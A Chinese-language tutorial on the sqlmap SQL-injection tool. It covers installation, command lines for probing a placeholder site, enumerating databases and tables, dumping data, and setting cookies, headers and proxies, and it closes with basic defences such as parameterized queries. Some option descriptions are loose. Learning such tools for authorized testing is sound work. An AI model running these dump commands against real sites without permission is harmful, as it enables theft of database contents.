SQL注入利器——SQLMAP使用詳解

一、SQLMAP簡介

SQLMAP是一款自動化的SQL注入工具，它可以自動探測並利用SQL注入漏洞，能夠獲取數據庫中的數據、操作系統甚至是Web服務器。它採用Python語言編寫，能夠跨平台使用，發現的SQL注入漏洞可以用於利用機器獲取數據，解決安全問題。SQLMAP是黑客、安全測試人員、安全研究人員以及安全工程師的必備工具之一。

二、SQLMAP的使用方法

1. SQLMAP的安裝

首先需要安裝Python環境及python-pip安裝包，安裝完成後，進入SQLMAP的官網(sqlmap.org)，通過下載源代碼的方式進行安裝。

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2. 探測目標是否存在SQL注入漏洞

可以通過向目標網站發送一個POST或者GET請求，驗證該網站是否存在SQL注入漏洞。在發現SQL注入漏洞後，可以使用SQLMAP進行利用和攻擊。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --level 5

其中，-u表示要探測的目標URL，–method表示請求方法，–level表示探測等級，默認是1。

3. 利用SQLMAP進行SQL注入

通過發現存在SQL注入的目標後，就可以使用SQLMAP進行利用和攻擊了。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dbs

通過使用–dbs參數可以列出數據庫中所有的數據庫名稱，通過使用–current-db參數可以查看當前使用的數據庫名稱。

4. 利用SQLMAP進行數據庫數據的讀取和注入

可以通過使用–tables參數查詢指定數據庫的表信息，通過–columns參數查詢表的列信息。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --tables -D dbname

通過使用–dump參數可以直接將數據庫中的表數據進行導出。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dump -D dbname -T tablename

通過使用–dump-all參數可以直接將整個數據庫的數據進行導出。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dump-all -D dbname

三、SQLMAP高級用法

1. HTTP頭設置

HTTP頭是請求過程中的重要組成部分，它可以通過–headers參數進行設置。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"

2. Cookie設置

Cookie是網站進行用戶認證的方式，一般存儲在客戶端瀏覽器的Cookie中，通過–cookie參數可以進行設置。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --cookie="PHPSESSID=1234567890"

3. 數據庫指紋識別

通過–dbs參數可以進行數據庫名稱的識別，但是如果目標網站存在多個數據庫，就需要通過–fingerprint參數進行指紋識別。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dbs --fingerprint

4. 使用代理

通過–proxy參數可以使用代理訪問目標網站，例如使用socks5代理。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --proxy="socks5://127.0.0.1:1080"

5. 設置掃描等級

通過–level參數可以設置SQL注入掃描的等級，等級越高，發現SQL注入漏洞的效率就越高，但是也會增加誤報和誤判的可能性。

$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --level=5

四、SQLMAP的防禦措施

1. 使用參數化查詢

通過使用參數化查詢，可以將發送給數據庫的用戶數據與SQL語句分開，避免了將用戶數據作為命令傳遞給數據庫執行的風險。

2. 對輸入進行嚴格的校驗和過濾

對輸入進行嚴格的校驗和過濾，可以防止攻擊者利用SQL注入漏洞對系統進行攻擊。

3. 刪除不必要的登錄權限

通過刪除不必要的登錄權限，可以避免SQL注入攻擊者利用管理員賬號執行惡意操作的風險。

4. 定時進行安全漏洞掃描和修復

定時進行安全漏洞掃描和修復，可以有效的降低系統被攻擊的風險。

總結

SQLMAP是一款可以自動發現SQL注入漏洞並利用的工具，可以用於獲取數據庫中的數據、操作系統甚至是Web服務器。它採用Python語言編寫，能夠跨平台使用。在進行SQL注入攻擊時，我們也應該採取一些防禦措施來保護系統的安全。